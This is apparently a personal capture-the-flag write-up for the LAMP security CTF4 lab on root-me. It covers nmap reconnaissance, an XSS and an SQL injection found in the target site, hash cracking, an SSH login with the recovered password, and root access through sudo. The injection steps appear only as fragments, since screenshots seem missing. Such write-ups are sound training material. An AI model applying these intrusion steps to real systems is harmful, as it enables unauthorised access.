Hi everyone. This is my solution for LAMP security CTF4. This CTF is very easy, you can download it from Vulnhub.com or play online on root-me.org. I did it on root-me, therefore my target was ctf07.root-me.org.
Ok let’s start, i ran nmap to see which services were open (usually I run a second scan with “-p 1-65535” parameter to identify all the ports).
Syrion:~ syrion$ sudo nmap -sT -sV -O ctf07.root-me.org Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-10-07 21:19 CEST Nmap scan report for ctf07.root-me.org (22.214.171.124) Host is up (0.040s latency). Not shown: 727 closed ports, 270 filtered ports PORT STATE SERVICE VERSION 22/tcp open tcpwrapped 25/tcp open tcpwrapped 80/tcp open tcpwrapped Device type: general purpose|WAP Running (JUST GUESSING): OpenBSD 4.X (88%), Apple embedded (87%), FreeBSD 6.X (87%) OS CPE: cpe:/o:openbsd:openbsd:4.0 cpe:/h:apple:airport_extreme cpe:/o:freebsd:freebsd:6.2 Aggressive OS guesses: OpenBSD 4.0 (88%), Apple AirPort Extreme WAP (87%), FreeBSD 6.2-RELEASE (87%), FreeBSD 6.3-RELEASE (87%), OpenBSD 4.3 (87%) No exact OS matches for host (test conditions non-ideal).
At this point I used netcat to verify the services on the three open ports. As excepted:
- SSH on 22
- SENDMAIL on 25
- HTTP on 80
In the meantime, I ran DirBuster, and I noticed this file:
It was the database’s structure:
This was the website on port 80:
I noticed this xss on the search bar:
Then I found an SQL Injection on the blog:
At this pont I started to enumerate the select statement’s parameters by using this payloads:
- id=1 order by 1 —
- id=1 order by 2 —
They were five!
I needed to know which parameters were visible:
And then I performed the full SQL Inection (i knew the database structure because of db.sql):
Ok let’s use crackstation to crack the hash. I tried to login as dstevens via ssh with the following credentials:
username dstevens password: ilike2surf
And I succeeded:
Syrion:~ syrion$ ssh email@example.com The authenticity of host ‘ctf07.root-me.org (126.96.36.199)’ can’t be established. RSA key fingerprint is SHA256:NDWh6/414mOsW4P7K6ICc5R67PrX87ADMFUx9DK9ftk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added ‘ctf07.root-me.org,188.8.131.52’ (RSA) to the list of known hosts. BSD SSH 4.1 firstname.lastname@example.org’s password: Last login: Mon Mar 9 07:48:18 2009 from 192.168.0.50 [dstevens@ctf ~]$
I tried to run “sudo su” and yes… it worked (LOL):
[dstevens@ctf ~]$ sudo su Password: [root@ctf dstevens]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t:SystemLow-SystemHigh [root@ctf dstevens]# cat /passwd 8cfd7e1715e7957021b5aa23f7839131
The privilege escalation was very very…very easy 😛